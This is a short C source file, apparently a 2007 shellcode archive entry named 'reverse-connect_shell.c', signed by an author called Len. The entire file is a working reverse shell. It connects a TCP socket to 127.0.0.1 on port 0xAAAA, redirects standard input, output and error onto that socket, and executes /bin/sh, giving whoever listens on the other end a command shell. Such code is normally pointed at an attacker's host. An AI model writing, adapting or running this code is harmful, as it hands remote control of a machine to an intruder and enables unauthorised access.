[SC] 2007-08-03 : reverse-connect_shell.c
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *name[2];
int soc,rec;
struct sockaddr_in serv_addr;
int main(int argc, char *argv[]){
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0x0100007F;
serv_addr.sin_port = 0xAAAA;
soc = socket(2, 1, 6);
rec = connect(soc, (struct sockaddr*)&serv_addr, 0x10);
dup2(soc,0);
dup2(soc,1);
dup2(soc,2);
name[0]="/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
return 0;
}
Copyleft (C) 2007 Len. All Rights Not Reserved.